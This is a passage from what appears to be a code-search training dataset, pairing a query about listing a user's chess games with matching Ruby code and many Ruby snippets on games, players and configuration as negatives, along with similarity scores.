"def set_on_config_xml(xml)\n config_xml = BigBlueButton::BigBlueButtonConfigXml.new(xml)\n if self.default_layout.present?\n config_xml.set_attribute(\"layout\", \"defaultLayout\", self.default_layout, false)\n end\n unless self.presenter_share_only.nil?\n config_xml.set_attribute(\"VideoconfModule\", \"presenterShareOnly\", self.presenter_share_only, true)\n config_xml.set_attribute(\"PhoneModule\", \"presenterShareOnly\", self.presenter_share_only, true)\n end\n unless self.auto_start_video.nil?\n config_xml.set_attribute(\"VideoconfModule\", \"autoStart\", self.auto_start_video, true)\n end\n unless self.auto_start_audio.nil?\n config_xml.set_attribute(\"PhoneModule\", \"autoJoin\", self.auto_start_audio, true)\n end\n if self.background.present?\n config_xml.set_attribute(\"branding\", \"background\", self.background, false)\n end\n if config_xml.is_modified?\n config_xml.as_string\n else\n false\n end\n end",
"def notification_url=(value)\n @notification_url = value\n end",
"def add_configuration(name, config)\n config.validate_config!\n @configurations ||= {}\n config.send(:cache_headers!)\n config.freeze\n @configurations[name] = config\n end",
"def configure(config)\n @index = config[\"index\"].to_i\n setup_logging(config[\"logging\"])\n\n @deployment_name = config[\"deployment_name\"] || \"untitled_dev\"\n\n tsdb_config = config[\"tsdb\"] || {}\n @tsdb_host = tsdb_config[\"host\"]\n @tsdb_port = tsdb_config[\"port\"]\n\n aws_config = config[\"aws_cloud_watch\"] || {}\n @aws_access_key_id = aws_config[\"access_key_id\"]\n @aws_secret_access_key = aws_config[\"secret_access_key\"]\n\n datadog_config = config[\"datadog\"] || {}\n @datadog_api_key = datadog_config[\"api_key\"]\n @datadog_application_key = datadog_config[\"application_key\"]\n @datadog_data_threshold = datadog_config.fetch(\"data_threshold\", 1000).to_i\n @datadog_time_threshold_in_seconds = datadog_config.fetch(\"time_threshold_in_seconds\", 10).to_i\n\n cf_metrics_config = config[\"cf_metrics\"] || {}\n @cf_metrics_api_host = cf_metrics_config[\"host\"]\n\n graphite_config = config[\"graphite\"] || {}\n @graphite_host = graphite_config[\"host\"]\n @graphite_port = graphite_config[\"port\"]\n\n @nats_uri = config[\"message_bus_uris\"]\n\n intervals = config[\"intervals\"]\n\n @discover_interval = intervals[\"discover\"] || 60\n @varz_interval = intervals[\"varz\"] || 10\n @healthz_interval = intervals[\"healthz\"] || 5\n @prune_interval = intervals[\"prune\"] || 300\n @nats_ping_interval = intervals[\"nats_ping\"] || 10\n @local_metrics_interval = intervals[\"local_metrics\"] || 10\n end",
"def api_v11_cm_all_hosts_config_put_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_cm_all_hosts_config_put ...\"\n end\n \n # resource path\n path = \"/api/v11/cm/allHosts/config\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'message'] = opts[:'message'] if opts[:'message']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_cm_all_hosts_config_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end"
] | [
"0.5451133",
"0.5430684",
"0.51907015",
"0.49275866",
"0.48668617",
"0.48639667",
"0.48468262",
"0.4834718",
"0.48209423",
"0.47891364",
"0.47743648",
"0.47701105",
"0.47594237",
"0.4642261",
"0.46319386",
"0.46255252",
"0.45866928",
"0.4584813",
"0.45711064",
"0.4557157",
"0.4507684",
"0.4507684",
"0.4488702",
"0.44841418",
"0.4482233",
"0.44755626",
"0.44695804",
"0.44688022",
"0.44680858",
"0.44595382",
"0.44576678",
"0.44490957",
"0.44447368",
"0.44427407",
"0.443367",
"0.4431104",
"0.4417906",
"0.44096425",
"0.4406305",
"0.43945897",
"0.43916863",
"0.4391366",
"0.43870085",
"0.43865824",
"0.4361664",
"0.4355125",
"0.43546215",
"0.4343583",
"0.43404528",
"0.43323445",
"0.4328231",
"0.43245435",
"0.43222037",
"0.43198115",
"0.43066296",
"0.42950916",
"0.4293696",
"0.4283841",
"0.42805636",
"0.42796412",
"0.42789453",
"0.42770797",
"0.4275635",
"0.42754573",
"0.42731625",
"0.4268778",
"0.42687175",
"0.42644003",
"0.42593178",
"0.42582867",
"0.4254648",
"0.4250175",
"0.42497784",
"0.424138",
"0.42413753",
"0.42349154",
"0.42324975",
"0.42252207",
"0.42190206",
"0.42008168",
"0.41983965",
"0.41906953",
"0.4189347",
"0.4188976",
"0.41868582",
"0.41851035",
"0.41819012",
"0.4179843",
"0.4166704",
"0.4161823",
"0.41614273",
"0.41587198",
"0.41563454",
"0.41544452",
"0.41531897",
"0.41529977",
"0.41528806",
"0.41512427",
"0.41495737",
"0.41439137"
] | 0.6928133 | 0 |
List of games where current_user is either black or white player | def my_games
return unless user_signed_in?
@my_games = Game.where('white_player_id = ? or black_player_id = ?', current_user.id, current_user.id).where(winning_player_id: nil).order(:created_at)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def games(filters = {})\n filtered_games = filters[:game_state] ? Game.where(state: filters[:game_state]) : Game.all\n filtered_games.to_a.each_with_object([]) do |game, array|\n game.players.each do |player|\n if player.user == self &&\n (filters[:role].nil? || player.role == filters[:role]) && \n (filters[:host].nil? || player.host == filters[:host])\n array << game \n break\n end\n end\n end\n end",
"def search_query(params)\n user = User.find_by(email: params)\n Game.where(white_player_id: user.id, black_player_id: nil).order(:created_at)\n end",
"def won_games\n Game\n .joins(player_games: :player)\n .where(player_games: { team_color: PlayerGame::BLUE_TEAM }, winning_color: PlayerGame::BLUE_TEAM).or(\n Game\n .joins(player_games: :player)\n .where(player_games: { team_color: PlayerGame::WHITE_TEAM }, winning_color: PlayerGame::WHITE_TEAM)\n )\n .where(player_games: { players: { user_id: self.id } })\n .count\n end",
"def lost_games\n Game\n .joins(player_games: :player)\n .where(player_games: { team_color: PlayerGame:: BLUE_TEAM }, winning_color: PlayerGame::WHITE_TEAM).or(\n Game\n .joins(player_games: :player)\n .where(player_games: { team_color: PlayerGame::WHITE_TEAM }, winning_color: PlayerGame::BLUE_TEAM)\n )\n .where(player_games: { players: { user_id: self.id } })\n .count\n end",
"def in_progress_games(other_player)\n games.where(\n 'complete = ? AND (challenger_id = ? OR challenged_id = ?)',\n false,\n other_player.id,\n other_player.id\n )\n end",
"def in_progress_games(other_player)\n games.where(\n 'complete = ? AND (challenger_id = ? OR challenged_id = ?)',\n false,\n other_player.id,\n other_player.id\n )\n end",
"def playing_users\n user_state.select { |user, state| state == :playing }.keys\n end",
"def get_games\n @games = Game.where(:user_id=>:id)\n end",
"def index\n @available_games = Game.available(current_user)\n @users_games = Game.users_games(current_user)\n end",
"def tied_games\n Game.joins(:players).where( players: { user_id: self.id }, winning_color: Game::TIED_GAME).count\n end",
"def index\n @games = Game.all\n @games = @games.where(:user => current_user)\n if params[\"commit\"] == \"Filter\"\n @games = filtered_game_list(params)\n end\n end",
"def is_computer_playing? game\n game_users_ids = game.user_games.map(&:user_id)\n game_users_ids.include? User::COMPUTER_ID\n end",
"def playoff_games\n self.games.select { |game| game.version == 'playoff'}\n end",
"def index\n #@user_games = UserGame.where(\"\"user_id: current_user.id, \"`state` >= 0\"\"\")\n @user_games = UserGame.where(\"`user_id` = ? AND `state` >= ?\", current_user.id, 0)\n @games = []\n @user_games.each do |user_game|\n @games << Game.find(user_game.game_id)\n end\n end",
"def get_opponents(game)\n opponents = []\n game.get_players.each do |player|\n if player.get_team(game) != self.get_team(game)\n opponents.push player\n end\n end\n opponents\n end",
"def index\n\t\t@game_coin_games = Game::CoinGame.all\n\t\t@coin_games_full = Game::CoinGame.all.find_all { |g| g.challengers.count == 2 }\n\t\t@coin_games_need_another_player = Game::CoinGame.all.find_all { |g| g.challengers.count == 1 && !g.game_full }\n\tend",
"def any_active_game\n games.where(\"status = 1\").any?\n end",
"def poolplay_games\n self.games.select { |game| game.version == 'poolplay'}\n end",
"def pieces_active(is_black)\n pieces.where('is_black = ? AND status = ?', is_black, 'active')\n end",
"def played_games\n Game.joins(:players).where(status: Game::STATUS_ENDED, players: { user_id: self.id }).count\n end",
"def get_saved_games_list(username)\n result = Array.new()\n res = @db.query(\"SELECT DISTINCT GameID, User1, User2, GameType FROM SavedGames WHERE User1 = '#{username}' OR User2 = '#{username}';\")\n while row = res.fetch_row do\n result.push(GameListElement.new(row[0], row[1], row[2], row[3]))\n end\n result\n end",
"def index\n player = params[:player].present? ? params[:player] : nil\n @games = if player\n Game.joins(:players).where('players.id = ?', player)\n else\n Game.all\n end\n end",
"def find\n # @game = Game.not_full.without(current_user).sample || Game.create\n # @game.users << current_user\n \n @game = Game.last\n end",
"def index\n @boardgames = current_user.boardgames\n if params[:search]\n @boardgames = current_user.boardgames.search(params[:search])\n @bgg = BggSearch.new()\n response = @bgg.search(params[:search])\n response.parsed_response[\"items\"][\"item\"].each do |item|\n boardgame = Boardgame.new()\n boardgame.id = item[\"id\"]\n boardgame.name = item[\"name\"][\"value\"]\n unless @boardgames.any? {|bg| bg.id == boardgame.id }\n @boardgames << boardgame\n end\n end\n end\n end",
"def players\n players_in_signup = []\n player_ids = self.signups.map {|sign| sign.player_id}\n User.all.select do |user|\n if player_ids.any?(user.id)\n players_in_signup << user\n end\n end\n players_in_signup.uniq\n end",
"def index\n @games = Game.all \n @users = User.all \n @current_user_joined = false \n \n end",
"def alive_in_game?(game)\n game.players.select { |player| player.role == \"player\"}.map(&:user_id).include?(id)\n end",
"def get_teams\n res = Array.new\n\n @games.each do |g|\n #check if home team is in the result array\n if !res.include?(g.home_team)\n res.push(g.home_team)\n end\n\n #check if away team is in the result array\n if !res.include?(g.away_team)\n res.push(g.away_team)\n end\n end\n\n return res\n end",
"def upcoming_games_all\n (upcoming_games_host | upcoming_games_player).sort\n end",
"def index\n if current_user.admin?\n @games = Game.all\n else\n @games = Game.upcoming.publicly_available\n end\n end",
"def other_player(player)\n player.eql?('white') ? 'black' : 'white'\n end",
"def all_players_for_a_team(team_name, game)\n player_names = []\n game[:home_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:home_team][:team_name] == team_name\n end\n game[:away_team][:players].each do |player_hash|\n player_names << player_hash[:player_name] if game[:away_team][:team_name] == team_name\n end\n player_names\nend",
"def index\n @games = current_user.games\n end",
"def pending_games\n self.wins.where(confirmed: false).order(\"created_at DESC\")\n end",
"def players\n @players.select(&:playing)\n end",
"def own_game?\n return unless @game.black_player_id\n return if @game.white_player_id == current_user.id || @game.black_player_id == current_user.id\n\n flash[:alert] = \"Sorry, you're not a player in that game\"\n redirect_to games_path\n end",
"def index\n @games = Game.all\n @player_games = current_user.games rescue nil\n @ongoing_games = Game.where(outcome: 'In progress').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end",
"def played_by_users?(username1, username2)\n played_by?(username1) && played_by?(username2)\n end",
"def played_cards\n player_cards.select { |c| c.played? }\n end",
"def opponentsPieces\n case @whitesMove\n when true then return blackPieces\n when false then return whitePieces\n end\n end",
"def player_pieces(color)\n pieces.select { |piece| piece.color == (color)}\n end",
"def get_team_games(team)\n res = Array.new\n\n @games.each do |g|\n if team == g.home_team\n res.push(g)\n end\n\n if team == g.away_team\n res.push(g)\n end\n end\n\n return res\n end",
"def index\n @games = Game.is_available\n end",
"def result\n loser = game_players.find do |game_player|\n game_player.ships.all?(&:sunk?) && game_player.ships.size > 0\n end\n\n if loser\n return game_players.find { |game_player| game_player.id != loser.id }\n end\n end",
"def games(player1_id, player2_id, league_id)\n database do |db|\n return db.execute('SELECT GameID\n FROM (\n SELECT GameID FROM Game\n WHERE PlayerID IN (:player1_id, :player2_id)\n AND LeagueID = :league_id\n GROUP BY GameID HAVING COUNT(*) = 2\n ) AS T1\n JOIN (\n SELECT GameID FROM Game\n AND LeagueID = :league_id\n GROUP BY GameID\n HAVING COUNT(*) = 2\n ) AS T2\n USING (GameID)',\n player1_id, player2_id, league_id).flatten\n end\nend",
"def showFollowingGames\n followed = @userModel.getFollowingGames\n followed.each_value{|value|\n if(value.getFinished != true)\n puts value.readGame\n end\n }\n end",
"def wins()\n wins = []\n matches.each do |match|\n if match.winner_id == @id\n wins << match\n end\n end\n return wins\n end",
"def matchable_users(&block)\n users = @users.values.select { |u| u.sessions.length > 0 && !u.matched }\n block.call users\n end",
"def find_winning_combinations(board,player,opponent)\n Game::WIN_COMBINATIONS.reject do | combo |\n combo.count { | position | board.cells[position]==opponent } > 0\n end\n end",
"def players_in_landings(result)\n @round.group_to_display.players.find_all do |player|\n player_result = player.ball&.result\n if player.ball.nil?\n false\n elsif player.ball.shot.is_layup\n result == 'layup'\n elsif result == 'MC-Ch'\n player_result.to_i > 0\n else\n player_result&.sub(/\\*\\z/, '') == result\n end\n end\n end",
"def games(complete = nil)\n games_scope = Game.where('challenger_id = ? OR challenged_id = ?', id, id)\n games_scope.includes(:challenged, :challenger)\n games_scope.where('complete = ?', complete) if complete\n games_scope = games_scope.order('created_at DESC')\n\n games_scope\n end",
"def games\n @logger.log(BEFORE_CHECK_GAMES)\n parsed_response = get_and_parse(\"/api/games/my_turn.json\")\n games = parsed_response[\"body\"]\n @logger.log(AFTER_CHECK_GAMES, \"Found #{games.size} games\")\n games\n end",
"def index\n @games = Game.with_filter(@filters).page params[:page]\n end",
"def games(complete = nil)\n games_scope = Game.where('challenger_id = ? OR challenged_id = ?', self.id, self.id)\n games_scope.includes(:challenged, :challenger)\n games_scope.where('complete = ?', complete) if complete\n games_scope = games_scope.order('created_at DESC')\n\n games_scope\n end",
"def user_favorite_wrestlers\n FavoriteWrestler.all.select do |fav|\n fav.user == self \n end \n end",
"def index\n if not current_user\n redirect_to new_user_session_path \n return\n end\n #@games = current_user.games\n # HACK WARNING!!!\n #@games.each do |game|\n # @games = @games - [game] if @games.include? game\n # @games << game\n #end\n @games = Game.all\n end",
"def my_list\n @user = get_current_user\n if @user\n favorites = UserGame.where(user_id: @user.id).map {|fav| fav.game.game_id }\n render json: favorites\n else\n render json: {\n error: \"Favorite Games Currently Unaccessible\",\n status: 400\n }, status: 400\n end\n end",
"def uncaptured_pieces(player_color)\n pieces.includes(:game).where('color = ? and captured = false', player_color).to_a\n end",
"def teams\n standings_data = self.standings\n display_teams = []\n\n object.teams.each do |t|\n display_teams << t if standings_data[:data].key?(t.id) && standings_data[:data][t.id][:played] > 0\n end\n\n display_teams\n end",
"def fellow_fans\n teams = self.teams\n users = User.all.find_all { |user|\n user.teams.any? { |team|\n teams.include?(team)\n }\n }\n users.select{|user| user != self}\n end",
"def player_win_condition_checkers\n (1..@player_count).map { |player| player_win_condition_checker(player) }\n end",
"def versus(opponent, &filter)\n vs = []\n @matches.each do |match|\n next if not match.opponents?(self, opponent)\n if (filter and yield match) or not filter\n vs << match\n end\n end\n vs\n end",
"def index\n @teams = Team.where(created_by_id: current_user.id) # Teams this user owns\n @teams_other = Team.find(current_user.player_team_rs.pluck(:team_id)) # Other Teams this user associates to\n end",
"def list_cards_of_player_with_user_id(user_id)\n go_fish.list_cards_of_player_with_user_id(user_id)\n end",
"def index\n @games = Game.get_all_active\n end",
"def matchesBowled\n BowlingInnings.joins(:Player).where(\"player_id\" => self.id)\n end",
"def list_active\n @games = Game.all.reject{|g| g.started_at.nil?}\n \n if @games.nil? \n respond_to do |format|\n format.all { render :status => :not_found, :text => \"No active games found.\" }\n end\n else\n respond_to do |format|\n format.html { render :action => \"index\", :html => @games }\n format.xml { render :action => \"index\", :xml => @games }\n format.json { render :index, :json => @games }\n end\n end\n end",
"def right_answered_flashcards\n Flashcard.joins(:user_flashcards).where(user_flashcards: {\n user: self,\n correct: true\n })\n end",
"def index\n team_name = params[:team_name]\n team = Team.is_like(team_name).first if team_name.present?\n if team\n redirect_to team_path(team)\n end\n\n @show_jumbo = anonymous and request.path == '/'\n @games = Game.relevant.order(updated_at: :desc )\n end",
"def show\n\t\t@players = {}\n\t\[email protected] do |player|\n\t\t\tpoints = @tournament.games.find_all { |game| game.winner == player }.count\n\t\t\t@players[points] = [] unless @players[points]\n\t\t\t@players[points] << player\n\t\tend\n\tend",
"def available_matches\n\t\t@@logger.info { \"Retrieving not checkedout and undecided matches.\" } if have_logger?\n\t\tMatch.dataset.filter(:tournament_id => self.id).filter(:result => nil).filter(:checked_out => false).filter(:planned => false).all\n\tend",
"def white_turn?\n true if @current_team == @teams[:white]\n end",
"def index\n @players = Player.ranking.where('wins != 0 or losses != 0')\n players_without_matches = Player.where('wins = 0 and losses = 0')\n @players.concat players_without_matches\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @players }\n end\n end",
"def index\n @frames = Frame.all.where(:game_id => params[:game_id]).group_by(&:user_id)\n @game_id = params[:game_id]\n @game_turn = Game.find(@game_id).game_turn\n end",
"def index\n if params[:players]\n respond_with PlayersGame.where(:game_id => params[:players])\n elsif params[:reserves]\n respond_with PlayersGame.where(:game_id => params[:reserves], :reserve => true)\n elsif params[:game_id] && params[:user_id]\n respond_with PlayersGame.where(:game_id => params[:game_id], :user_id => params[:user_id])\n else\n respond_with PlayersGame.all\n end\n end",
"def show\n user = user_session.current_user\n user_id = user.id\n \n # Forbid access to users who are not participants in this game.\n unless user_id == @game.player1_id || user_id == @game.player2_id\n head :forbidden\n return\n end\n \n if @game.pending?\n @next_play_number = @game.next_play_number\n @new_game = nil\n else\n @new_game = Game.new(player1_id: user_id)\n end\n \n @opponent = user_id == @game.player1_id ? @game.player2 : @game.player1\n @pair_record = user.game_record(@opponent) if @opponent\n end",
"def own?(game)\n # current_user.games.find(id: game.id)\n end",
"def team_player_plays_on(player)\n teams.select { |t| t.players.include?(player) }.first\n end",
"def opponent_battler(battler = $game_player)\n opponents = []\n @action_battlers.each do |key, members|\n next if key == battler.team_id\n members.compact.each do |member|\n next if member.dead?\n opponents.push(member)\n end\n end\n return opponents\n end",
"def index\n @current_user.copy_fields_from_facebook if @current_user.name.blank?\n\n # listing all games within selected player\n @games = @player.games\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @games }\n end\n end",
"def win?(user1, user2)\n (user1 == 'rock' && (user2 == 'scissors' || user2 == 'lizard')) ||\n (user1 == 'scissors' && (user2 == 'paper' || user2 == 'lizard')) ||\n (user1 == 'paper' && (user2 == 'rock' || user2 == 'spock')) ||\n (user1 == 'spock' && (user2 == 'rock' || user2 == 'scissors')) ||\n (user1 == 'lizard' && (user2 == 'spock' || user2 == 'paper'))\nend",
"def all_stats_for_player(name, game)\n game[:home_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\n game[:away_team][:players].each do |player_hash|\n return player_hash[:stats] if player_hash[:player_name] == name\n end\nend",
"def index\n unless params[:user_id].blank?\n @basketball_games = BasketballGame.where(user_id: params[:user_id])\n else\n @basketball_games = BasketballGame.all\n end\n end",
"def users_for_team(color)\n team = team_by_color(color)\n team ? team.users : nil\n end",
"def black_turn?\n true if @current_team == @teams[:black]\n end",
"def players\n return [User.find_by(id: player1_id), User.find_by(id: player2_id),\n User.find_by(id: player3_id), User.find_by(id: player4_id)].compact\n end",
"def get_live_league_games\n\tcurrent_matches = []\n\tDota.live_leagues.each do |match|\n\t\tif match.raw_live_league['dire_team'] && match.raw_live_league['radiant_team']\n\t\t\tcurrent_matches.push(match)\n\n\t\tend\n\tend\n\n\t#puts 'New Matches:'\n\tcurrent_matches.sort! { |a, b| b.lobby_id <=> a.lobby_id }\n\tcurrent_matches\nend",
"def show\n @user = User.find(params[:id])\n @games = @user.games\n\n end",
"def list_my_words\n games = GameSession.where(user_id: self.id)\n games = games.select {|game| game.word_id != nil}\n words = games.map {|gs| Word.find(gs.word_id).word}\n wins = games.map {|gs| gs.win}\n h = {true => [], false => []}\n for i in 0..words.length-1\n wins[i] ? h[true] << words[i].green : h[false] << words[i].red\n end\n puts \"Puzzles Won\".green.underline\n if h[true].empty? \n puts \"(no puzzles won)\".black\n else\n puts h[true]\n end\n puts \"\\n\\n\"\n \n puts \"Puzzles Lost\".red.underline\n if h[false].empty?\n puts \"(no puzzles lost)\".black\n else\n puts h[false]\n end\n puts \"\\n\\n\\n\"\n end",
"def get_recent_matches(user_id, friend_id, game_id)\n Match.where(\"(player1_id = ? and player2_id = ?) or (player1_id = ? and player2_id = ?)\", user_id, friend_id, friend_id, user_id).where(game_id: game_id).order(created_at: :desc).limit(10)\n end",
"def get_player_and_game\n # flash[:error] = nil # RWP TEMP - get rid of this if/when flash works correctly\n @sets = []\n @found_set = nil\n return false unless login_to_facebook\n @player = @current_user.player\n if (params[:id])\n @game = Game.find(params[:id])\n @score = Score.find_by_player_id_and_game_id( @current_user.player.id, params[:id] )\n raise Exceptions::UserNotPlayingGame if @score.blank?\n end\n true\n end",
"def player_data_by_team(team)\n players = []\n if team == game_hash[:home][:team_name]\n players << game_hash[:home][:players]\n else\n players << game_hash[:away][:players]\n end\n return players.flatten\nend",
"def friend_candidates(for_channels)\n User.all.keep_if { |other|\n (for_channels == other.channel?) && # Select for channels or regular users\n User.public?(other.id) && # Exclude invisible users\n (other.channel? || (other.sign_in_count && (other.sign_in_count > 0))) && # Excluded unconfirmed invites\n (other.id != id) # Don't include this user\n }\n end",
"def index\n @user_games = UserGame.all\n \n end",
"def games\n 'Games/Toys' if %w[r m].include?(record.leader[6]) &&\n (%w[g w].include?(record.leader[16]) ||\n (record['006'] && record['006'].value[9] == 'g') ||\n (record['008'] && (%w[g w].include?(record['008'].value[33]) || record['008'].value[26] == 'g')))\n end",
"def answered_flashcards\n Flashcard.joins(:user_flashcards).where(user_flashcards: {\n user: self\n })\n end",
"def player_hand(current_user, tile)\n player = current_user.game_players.where(game_id: self.id).first\n tiles = []\n player.tiles.each do |tile|\n tiles << (tile.column.to_s + tile.row)\n end\n\n if tiles.include? tile\n true\n else\n false\n end\n end",
"def index\n gon.yourID = current_user.id\n current_user.game == nil ? @games = Game.all : @games = Game.find(current_user.game.id)\n @team1 = @games.team1.users if @games.try :team1\n @team2 = @games.team2.users if @games.try :team2\n respond_to do |format|\n format.html\n format.json { render :json => { :games => @games.to_json(:include => [:users]),\n :user => current_user.game,\n :will => current_user.will,\n :team1 => @team1,\n :team2 => @team2 }\n }\n end\n end",
"def games\n self.results.map {|r|;r.game}\n end",
"def visible_lists other=nil\n owned_lists.where availability: ((other && other.follows?(self)) ? [0,1] : 0)\n end"
] | [
"0.66691583",
"0.66007394",
"0.65672666",
"0.6508162",
"0.6184135",
"0.6184135",
"0.6151068",
"0.6145816",
"0.6104318",
"0.60371405",
"0.5960701",
"0.595706",
"0.5941737",
"0.5939897",
"0.5874502",
"0.57592994",
"0.57563126",
"0.5754423",
"0.5706138",
"0.5703887",
"0.570007",
"0.56004906",
"0.55962723",
"0.5582813",
"0.557905",
"0.55724937",
"0.5569301",
"0.55675256",
"0.5565764",
"0.5562532",
"0.55593157",
"0.55535764",
"0.5551325",
"0.55020666",
"0.5498402",
"0.5485992",
"0.54823834",
"0.5482051",
"0.54718876",
"0.5464016",
"0.5463051",
"0.54559755",
"0.53898394",
"0.53713685",
"0.53589576",
"0.53554755",
"0.5352766",
"0.5342842",
"0.53413653",
"0.5330643",
"0.5324293",
"0.5307155",
"0.5300154",
"0.52998924",
"0.52978396",
"0.52959216",
"0.5285454",
"0.5277766",
"0.5254807",
"0.5253156",
"0.52498806",
"0.52490777",
"0.5244858",
"0.5234757",
"0.52347517",
"0.52329564",
"0.5214904",
"0.52136755",
"0.521037",
"0.520505",
"0.5204146",
"0.5203723",
"0.520113",
"0.520042",
"0.52000916",
"0.5198425",
"0.5196159",
"0.5181673",
"0.517382",
"0.51694125",
"0.5166587",
"0.5165472",
"0.5160338",
"0.51429266",
"0.514271",
"0.5136576",
"0.51311815",
"0.51252484",
"0.51252204",
"0.5115905",
"0.5113028",
"0.5111146",
"0.51040465",
"0.51032263",
"0.5102476",
"0.50971764",
"0.50878775",
"0.50857913",
"0.5078921",
"0.50786823"
] | 0.71359545 | 0 |
Find unstarted games where the white_player_id matches the searched email address | def search_query(params)
user = User.find_by(email: params)
Game.where(white_player_id: user.id, black_player_id: nil).order(:created_at)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def my_games\n return unless user_signed_in?\n @my_games = Game.where('white_player_id = ? or black_player_id = ?', current_user.id, current_user.id).where(winning_player_id: nil).order(:created_at)\n end",
"def in_progress_games(other_player)\n games.where(\n 'complete = ? AND (challenger_id = ? OR challenged_id = ?)',\n false,\n other_player.id,\n other_player.id\n )\n end",
"def in_progress_games(other_player)\n games.where(\n 'complete = ? AND (challenger_id = ? OR challenged_id = ?)',\n false,\n other_player.id,\n other_player.id\n )\n end",
"def find_dangling_cpu_players\n players = Player::CPU\n .joins(:matches)\n .where(matches: {\n id: Round.created_or_playing.with_cpu_players.pluck(:match_id),\n winner_id: nil\n })\n .where.not(id: cpu_players.keys)\n players.each(&method(:activate_player))\n\n set_next_player_check\n end",
"def unavailable_players\n players = []\n self.cached_teamsheet_entries.each do |teamsheet_entry|\n if teamsheet_entry.response_status == InviteResponseEnum::UNAVAILABLE\n players << teamsheet_entry.user\n end\n end\n players\n end",
"def games(filters = {})\n filtered_games = filters[:game_state] ? Game.where(state: filters[:game_state]) : Game.all\n filtered_games.to_a.each_with_object([]) do |game, array|\n game.players.each do |player|\n if player.user == self &&\n (filters[:role].nil? || player.role == filters[:role]) && \n (filters[:host].nil? || player.host == filters[:host])\n array << game \n break\n end\n end\n end\n end",
"def active_exchanges_without_gifts\n Exchange.find_by_sql([\"SELECT exchanges.* FROM exchanges \n JOIN matches ON exchanges.id = matches.exchange_id \n JOIN users ON matches.santa_id = users.id\n WHERE exchanges.match_date < :todays_date \n AND exchanges.exchange_date > :todays_date \n AND users.id = :user_id \n AND users.id = matches.santa_id\n AND matches.gift_id is NULL\", \n :todays_date => Date.today, \n :user_id => self.id])\n end",
"def find_unregistered_guests(id)\r\n @unreg_guests = []\r\n PrivateInvite.find_all_by_private_event_id(@event.id).each do |g|\r\n if !User.find_by_email(g.email)\r\n @unreg_guests << g.email\r\n end\r\n end\r\n @unreg_guests \r\n end",
"def players\n players_in_signup = []\n player_ids = self.signups.map {|sign| sign.player_id}\n User.all.select do |user|\n if player_ids.any?(user.id)\n players_in_signup << user\n end\n end\n players_in_signup.uniq\n end",
"def uncaptured_pieces(player_color)\n pieces.includes(:game).where('color = ? and captured = false', player_color).to_a\n end",
"def lost_games\n Game\n .joins(player_games: :player)\n .where(player_games: { team_color: PlayerGame:: BLUE_TEAM }, winning_color: PlayerGame::WHITE_TEAM).or(\n Game\n .joins(player_games: :player)\n .where(player_games: { team_color: PlayerGame::WHITE_TEAM }, winning_color: PlayerGame::BLUE_TEAM)\n )\n .where(player_games: { players: { user_id: self.id } })\n .count\n end",
"def get_games\n @games = Game.where(:user_id=>:id)\n end",
"def get_players_for_team(uri)\n sparql = SPARQL.parse(\"SELECT DISTINCT ?uri ?label ?team_uri ?team\n WHERE {\n ?uri <http://purl.org/hpi/soccer-voc/playsFor> <#{uri}> .\n ?uri <#{RDF::RDFS.label}> ?label .\n ?uri <http://purl.org/hpi/soccer-voc/playsFor> ?team_uri .\n ?team_uri <#{RDF::RDFS.label}> ?team .\n }\")\n solutions = QUERYABLE.query(sparql)\n end",
"def index\n # If the user is an admin, it loads all players by default, not just the active ones\n @players = @players.joins(:team).where(:players => { :active => true }, :teams => { :active => true }) unless user_signed_in? && current_player.is_admin?\n @players = @players.paginate(:page => params[:page])\n\n # filter the players if the user limited the search to certain conditions\n @player_params = filter_params\n\n if @player_params.any?\n # the email field is part of the users table, so map it accordingly\n if @player_params[:email]\n @players = @players.joins(:user).where(users: { email: @player_params[:email] })\n end\n\n player_fields = @player_params.dup\n # We already processed the email, so ignore it\n player_fields.delete(:email)\n\n # We don't want an exact match, instead we would like to do a \"starts with\" comparison\n conditions = [player_fields.keys.map { |field| \"players.#{field} LIKE ?\" }.join(' AND ')]\n conditions += player_fields.values.map { |value| \"#{value}%\" }\n @players = @players.where(*conditions)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @players }\n end\n end",
"def index\n @boardgames = current_user.boardgames\n if params[:search]\n @boardgames = current_user.boardgames.search(params[:search])\n @bgg = BggSearch.new()\n response = @bgg.search(params[:search])\n response.parsed_response[\"items\"][\"item\"].each do |item|\n boardgame = Boardgame.new()\n boardgame.id = item[\"id\"]\n boardgame.name = item[\"name\"][\"value\"]\n unless @boardgames.any? {|bg| bg.id == boardgame.id }\n @boardgames << boardgame\n end\n end\n end\n end",
"def search_players(search_names)\n @player_names.include?(each_player)\n end",
"def team_profiles\n profiles.reject { |p| p == profile }\n end",
"def played_games\n Game.joins(:players).where(status: Game::STATUS_ENDED, players: { user_id: self.id }).count\n end",
"def playoff_games\n self.games.select { |game| game.version == 'playoff'}\n end",
"def result\n loser = game_players.find do |game_player|\n game_player.ships.all?(&:sunk?) && game_player.ships.size > 0\n end\n\n if loser\n return game_players.find { |game_player| game_player.id != loser.id }\n end\n end",
